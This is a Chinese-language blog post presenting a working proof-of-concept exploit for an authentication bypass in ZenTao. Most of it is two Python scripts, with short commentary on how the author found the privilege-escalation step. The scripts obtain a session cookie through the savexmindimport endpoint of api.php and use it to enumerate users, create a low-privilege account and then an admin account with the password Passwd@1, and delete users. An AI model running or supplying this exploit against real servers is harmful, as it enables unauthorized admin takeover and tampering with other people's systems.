zentao-20240426未授权-poc

Uncategorized
11k words

朋友发了个zentao新报的漏洞,研究了一下利用起来还蛮简单,就写了下poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import requests
import random
import string

UA = "flower Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 flower/majyo-party"

headers = {
"User-Agent": UA,
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
}

def generate_random_string(length):
characters = string.ascii_letters
return ''.join(random.choice(characters) for _ in range(length))

def Req(iu,headers,cookies=None):
if cookies:
try:
try:
response = requests.get("http://"+iu, headers=headers, verify=False, allow_redirects=True,cookies=cookies,timeout=2)
return response.text
except requests.exceptions.SSLError as e:
response = requests.get("https://" + iu, headers=headers, verify=False, allow_redirects=True,cookies=cookies,timeout=2)
return response.text
except (requests.exceptions.ConnectTimeout , requests.exceptions.ConnectionError) as e:
print("Connection timed out or host Failed")
exit(1)
else:
try:
try:
response = requests.get("http://"+iu, headers=headers, verify=False, allow_redirects=True,timeout=2)
return response.headers
except requests.exceptions.SSLError as e:
response = requests.get("https://" + iu, headers=headers, verify=False, allow_redirects=True,timeout=2)
return response.headers
except (requests.exceptions.ConnectTimeout , requests.exceptions.ConnectionError) as e:
print("Connection timed out or host Failed")
exit(1)

def getzentaosid(host):
randstr0=generate_random_string(20)
randstr1=generate_random_string(20)
iu=f"{host}/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID={randstr0}&branch={randstr1}"
req=Req(iu,headers)
return req["Set-Cookie"].split(";")[0]

def auth_req(host):
sid = getzentaosid(host).split("=")[1]
cookies = {'zentaosid': f'{sid}', 'zentaosid': f'{sid}', 'lang': 'zh-cn', 'device': 'desktop', 'theme': 'purple'}
req = Req(host + "/api.php/v1/users/1", headers, cookies=cookies)
return req

if __name__=='__main__':
host=input("script by ❀Flower"
"input host:port\n"
"❀example❀: text.com:888 or 10.10.10.10\n"
"host:")
print(auth_req(host))

这里其实主要分为部分首先是生成俩随机值,然后发给

1
/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID={randstr0}&branch={randstr1}

拿到response给的token,或者也可以说是zentaosid

然后就可以拿着去验证了,不过需要注意的是这个用户的token经过测试并不是一个真实存在的用户,或者说是个空用户的token。

如果要进一步利用,可以自己看zentao的api文档可以做到创建,修改密码等等操作。

目前已知问题:

可以直接创建用户,但是用户权限不足,如果需要进一步利用需要修改admin密码,或创建用户时候group是admin的id。

pocimage

2024年4月27日 更新高权利用

苦想一宿没有进一步利用的方式,相关api也没找到,用越权sid创建的也都是低权用户..

于是中午吃了顿好的惩罚一下自己,吃完上厕所时候突然灵感迸发,为什么不用越权id创建出的用户所持有的sid,再创建一个用户捏。

于是用创建的sid再一次尝试了下/api.php/users有了新的发现

pocimage2

这里创建了一个group 1也就是admin权限的user,可以看到是创建成功了。

而且role也是admin,登陆了下也是ok

delete user用api还是存在问题,不过既然可以创建高权用户了就代表可以进web删了。

以下是写的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
import requests
import random
import json
import string

UA = "flower Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 flower/majyo-party"

headers = {
"User-Agent": UA,
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
}

def generate_random_string(length):
characters = string.ascii_letters
return ''.join(random.choice(characters) for _ in range(length))

def Req(iu,headers,cookies=None):
if cookies:
try:
try:
response = requests.get("http://"+iu, headers=headers, verify=False, allow_redirects=True,cookies=cookies,timeout=2)
return response.text
except requests.exceptions.SSLError as e:
response = requests.get("https://" + iu, headers=headers, verify=False, allow_redirects=True,cookies=cookies,timeout=2)
return response.text
except (requests.exceptions.ConnectTimeout , requests.exceptions.ConnectionError) as e:
print("Connection timed out or host Failed")
exit(1)
else:
try:
try:
response = requests.get("http://"+iu, headers=headers, verify=False, allow_redirects=True,timeout=2)
return response.headers
except requests.exceptions.SSLError as e:
response = requests.get("https://" + iu, headers=headers, verify=False, allow_redirects=True,timeout=2)
return response.headers
except (requests.exceptions.ConnectTimeout , requests.exceptions.ConnectionError) as e:
print("Connection timed out or host Failed")
exit(1)

def getzentaosid(host):
randstr0=generate_random_string(20)
randstr1=generate_random_string(20)
iu=f"{host}/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID={randstr0}&branch={randstr1}"
req=Req(iu,headers)
return req["Set-Cookie"].split(";")[0]

def auth_req(host,id=None):
sid = getzentaosid(host).split("=")[1]
cookies = {'zentaosid': f'{sid}', 'zentaosid': f'{sid}', 'lang': 'zh-cn', 'device': 'desktop', 'theme': 'purple'}
req = Req(host + f"/api.php/v1/users/{id or 1}", headers, cookies=cookies)
return req

def auth_post(host,data,sid=None,otherurl=None):
if sid == None:
sid = getzentaosid(host).split("=")[1]
cookies = sid if sid == False else {'zentaosid': f'{sid}', 'zentaosid': f'{sid}', 'lang': 'zh-cn', 'device': 'desktop', 'theme': 'purple'}
url = otherurl if otherurl is not None else '/api.php/v1/users'
try:
response = requests.post("http://" + host + url ,cookies=cookies,json=data,headers=headers, verify=False, allow_redirects=True, timeout=2)
creatFT(response.status_code)
return response.text
except requests.exceptions.SSLError as e:
response = requests.post("https://" + host + url,cookies=cookies,json=data, headers=headers, verify=False, allow_redirects=True, timeout=2)
creatFT(response.status_code)
return response.text

def auth_delete(host,id,sid):
cookies = {'zentaosid': f'{sid}', 'zentaosid': f'{sid}', 'lang': 'zh-cn', 'device': 'desktop', 'theme': 'purple'}
try:
response = requests.delete("http://" + host + f"/api.php/v1/users/{id}",cookies=cookies,headers=headers, verify=False, allow_redirects=True, timeout=2)
print(response.status_code)
return response.text
except requests.exceptions.SSLError as e:
response = requests.delete("https://" + host + f"/api.php/v1/users/{id}",cookies=cookies, headers=headers, verify=False, allow_redirects=True, timeout=2)
return response.text

def creatFT(status):
if status == 403 :
print("username:usertest1 password:Passwd@1")

def CreateUser(host,id=None):
lowerUsername = "tttbxc1xtt"
data1 = {"account": lowerUsername,
"password": "Passwd@1",
"realname": "test1",
"role": "top",
"group": '1',
"commiter": "",
"company": "",
"dept": "2",
"passwordStrength": "1",
"gender": "m",
"visions": ["rnd"],
"type": "inside",
"join": "2023-12-07"
}
if id == None:
create_msg = auth_post(host, data1)
return create_msg
elif id.isdigit():
data2={"account":lowerUsername,"password":"Passwd@1"}
getUsersid = auth_post(host,data2,otherurl="/api.php/v1/tokens")
sid=json.loads(getUsersid)["token"]
print("----lower_token----")
print(sid)
print("-------------------")
data1["account"] = "usertest" + id #high priv username
createHighUser = auth_post(host,data1,sid=sid)
print(json.loads(createHighUser))
return createHighUser
def start(host):
if auth_req(host):
erabi=input("❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀\n"
"❀v1.1已知问题 \t❀\n"
"❀1.测试用的18.11版本创建完初始用户后需要再运行一次2创建 即可创建超管 \t❀\n"
"❀2.删除用户根据目标存在不稳定性 调用api可能会删不掉 可以创建超管进web删除 \t❀\n"
"❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀❀\n"
"1.user list\n"
"2.create user\n"
"3.delete user\n"
"❀Number❀:")
id = "394" #high priv username last id
if erabi == '2':
# 1.create low priv user
CreateLowuser=CreateUser(host)
print(json.loads(CreateLowuser))
flag=input("❀lower priv user Created❀\n"
"❀Create higth user❀ ?\n"
"❀y/n❀: ")
if flag.lower() != "y":
print("[*]exit")
exit(1)
# 2.use low priv user sid Create high priv user
CreateHighuser = CreateUser(host,id=id)
jsFormat = json.loads(CreateHighuser)

print("❀❀❀❀❀❀❀❀❀❀❀\n"
"❀ high priv User created ❀\n"
"user id:",jsFormat['id'],"\n"
"user name:",jsFormat['account'],"\n"
"password:Passwd@1\n"
"❀❀❀❀❀❀❀❀❀❀❀")
if jsFormat['group']['1']['role'] == "admin":
pass
elif erabi == '1':
userlist = []
try:
for i in range(1,50): #<<----这里修改轮询用户最大值
list=json.loads(auth_req(host, i))
print(list)
userlist.append(list)
except json.decoder.JSONDecodeError as e:
print("-----------")
testid=[ user["id"] for user in userlist if user["account"] == 'usertest']
print("[*]##testuser id is "+ str(testid[0]))
print("❀[*]bye~❀")
exit(1)

elif erabi == '3':
delete_id=str(input("want to delete ID \n"
"id or PRESS ANY KEY TO EXIT: "))
if delete_id.isdigit():
data = {"account": f"usertest{id}", "password": "Passwd@1"}
getUsersid = auth_post(host, data, otherurl="/api.php/v1/tokens",sid=False)
sid=json.loads(getUsersid)["token"]
print("[*]use high user token:"+sid)
delete_msg = auth_delete(host, delete_id, sid)
print(json.loads(delete_msg))
else:
print("❀[*]bye~❀")
exit(1)


if __name__=='__main__':
host=input("Script by ❀Flower"
"input host:port\n"
"❀example❀: text.com:888 or 10.10.10.10\n"
"host:")
flag = auth_req(host)
print(flag)
try:
if json.loads(flag)["id"] == 1:
print("❀-----VULN------❀")
start(host)
except Exception as e:
print("❀----over----❀")

userlist的获取因为本身就可以用绕过的sid直接获取,虽然无法直接利用/api.php/v1/users直接列出,但/api.php/v1/users/:id做轮询足以,如果遇到用户太多的情况可以修改里面轮询的range number,我给的上限是50,可以根据自己遇到的情况改改。

我写脚本用的开源版18.11,至于其他版本可能会有一些小的bug我懒得改了,请根据实际情况修改脚本。